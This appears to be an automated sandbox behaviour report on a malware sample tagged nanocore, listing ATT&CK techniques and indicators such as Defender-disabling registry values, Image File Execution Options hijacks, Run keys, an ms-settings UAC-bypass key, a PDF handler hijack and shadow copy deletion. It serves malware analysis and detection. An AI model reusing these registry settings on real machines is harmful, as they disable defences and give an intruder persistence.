nanocore | 06f3a6377f142b1b3d7c2672248cc20a45671d38bc2afe79990908acc2cbd421

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	kap3.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3716	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	kap3.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	kap3.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
5676	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	kap3.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4592	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	kap3.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	kap3.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	kap3.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
860	wscript.exe
5520	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	kap3.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1992	sc.exe
5804	sc.exe
244	sc.exe
1884	sc.exe
5932	sc.exe
2328	sc.exe
1076	sc.exe
3936	sc.exe
3888	sc.exe
5568	sc.exe
4868	sc.exe
5396	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5932	cmd.exe
5712	cmd.exe
3428	cmd.exe
3364	cmd.exe
3208	cmd.exe
4936	cmd.exe
3936	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4376	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3588	NETSTAT.EXE
2772	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3048	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4584	vssadmin.exe
4292	vssadmin.exe
2044	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\WallpaperStyle = "2"	kap3.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307981888198786"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command\DelegateExecute	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe\" \"%1\""	kap3.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4808	schtasks.exe
3408	schtasks.exe
4764	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1552	chrome.exe
1552	chrome.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
1472	WMIC.exe
1472	WMIC.exe
1472	WMIC.exe
1472	WMIC.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
4988	WMIC.exe
4988	WMIC.exe
4988	WMIC.exe
4988	WMIC.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
5648	WMIC.exe
5648	WMIC.exe
5648	WMIC.exe
5648	WMIC.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe
3052	kap3.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3052	kap3.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeShutdownPrivilege	1552	chrome.exe
Token: SeCreatePagefilePrivilege	1552	chrome.exe
Token: SeIncreaseQuotaPrivilege	1472	WMIC.exe
Token: SeSecurityPrivilege	1472	WMIC.exe
Token: SeTakeOwnershipPrivilege	1472	WMIC.exe
Token: SeLoadDriverPrivilege	1472	WMIC.exe
Token: SeSystemProfilePrivilege	1472	WMIC.exe
Token: SeSystemtimePrivilege	1472	WMIC.exe
Token: SeProfSingleProcessPrivilege	1472	WMIC.exe
Token: SeIncBasePriorityPrivilege	1472	WMIC.exe
Token: SeCreatePagefilePrivilege	1472	WMIC.exe
Token: SeBackupPrivilege	1472	WMIC.exe
Token: SeRestorePrivilege	1472	WMIC.exe
Token: SeShutdownPrivilege	1472	WMIC.exe
Token: SeDebugPrivilege	1472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1472	WMIC.exe
Token: SeRemoteShutdownPrivilege	1472	WMIC.exe
Token: SeUndockPrivilege	1472	WMIC.exe
Token: SeManageVolumePrivilege	1472	WMIC.exe
Token: 33	1472	WMIC.exe
Token: 34	1472	WMIC.exe
Token: 35	1472	WMIC.exe
Token: 36	1472	WMIC.exe
Token: SeBackupPrivilege	3960	vssvc.exe
Token: SeRestorePrivilege	3960	vssvc.exe
Token: SeAuditPrivilege	3960	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1472	WMIC.exe
Token: SeSecurityPrivilege	1472	WMIC.exe
Token: SeTakeOwnershipPrivilege	1472	WMIC.exe
Token: SeLoadDriverPrivilege	1472	WMIC.exe
Token: SeSystemProfilePrivilege	1472	WMIC.exe
Token: SeSystemtimePrivilege	1472	WMIC.exe
Token: SeProfSingleProcessPrivilege	1472	WMIC.exe
Token: SeIncBasePriorityPrivilege	1472	WMIC.exe
Token: SeCreatePagefilePrivilege	1472	WMIC.exe
Token: SeBackupPrivilege	1472	WMIC.exe
Token: SeRestorePrivilege	1472	WMIC.exe
Token: SeShutdownPrivilege	1472	WMIC.exe
Token: SeDebugPrivilege	1472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1472	WMIC.exe
Token: SeRemoteShutdownPrivilege	1472	WMIC.exe
Token: SeUndockPrivilege	1472	WMIC.exe
Token: SeManageVolumePrivilege	1472	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe
1552	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3052	kap3.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 1552	3052	kap3.io_chrome.exe	89
PID 1552 wrote to memory of 4112	1552	chrome.exe	90
PID 3052 wrote to memory of 3716	3052	kap3.io_chrome.exe	91
PID 3052 wrote to memory of 4868	3052	kap3.io_chrome.exe	151
PID 1552 wrote to memory of 2300	1552	chrome.exe	95
PID 1552 wrote to memory of 2300	1552	chrome.exe	95
PID 1552 wrote to memory of 4376	1552	chrome.exe	96
PID 1552 wrote to memory of 3348	1552	chrome.exe	97
PID 1552 wrote to memory of 3348	1552	chrome.exe	97
PID 1552 wrote to memory of 4656	1552	chrome.exe	99
PID 1552 wrote to memory of 2260	1552	chrome.exe	100
PID 1552 wrote to memory of 4656	1552	chrome.exe	99
PID 1552 wrote to memory of 2260	1552	chrome.exe	100
PID 3052 wrote to memory of 5396	3052	kap3.io_chrome.exe	101
PID 3052 wrote to memory of 244	3052	kap3.io_chrome.exe	103
PID 1552 wrote to memory of 4524	1552	chrome.exe	105
PID 1552 wrote to memory of 4524	1552	chrome.exe	105
PID 3052 wrote to memory of 1992	3052	kap3.io_chrome.exe	106
PID 3052 wrote to memory of 1884	3052	kap3.io_chrome.exe	150
PID 3052 wrote to memory of 5932	3052	kap3.io_chrome.exe	145
PID 1552 wrote to memory of 2120	1552	chrome.exe	112
PID 3052 wrote to memory of 2328	3052	kap3.io_chrome.exe	113
PID 3052 wrote to memory of 1076	3052	kap3.io_chrome.exe	115
PID 3052 wrote to memory of 1632	3052	kap3.io_chrome.exe	117
PID 3052 wrote to memory of 3936	3052	kap3.io_chrome.exe	146
PID 3052 wrote to memory of 3888	3052	kap3.io_chrome.exe	183
PID 1632 wrote to memory of 4460	1632	fodhelper.exe	122
PID 3052 wrote to memory of 4584	3052	kap3.io_chrome.exe	177
PID 3052 wrote to memory of 1472	3052	kap3.io_chrome.exe	178
PID 1552 wrote to memory of 2120	1552	chrome.exe	112
PID 3052 wrote to memory of 860	3052	kap3.io_chrome.exe	132
PID 3052 wrote to memory of 4764	3052	kap3.io_chrome.exe	133
PID 3052 wrote to memory of 3408	3052	kap3.io_chrome.exe	135
PID 3052 wrote to memory of 3208	3052	kap3.io_chrome.exe	140
PID 3052 wrote to memory of 3364	3052	kap3.io_chrome.exe	142
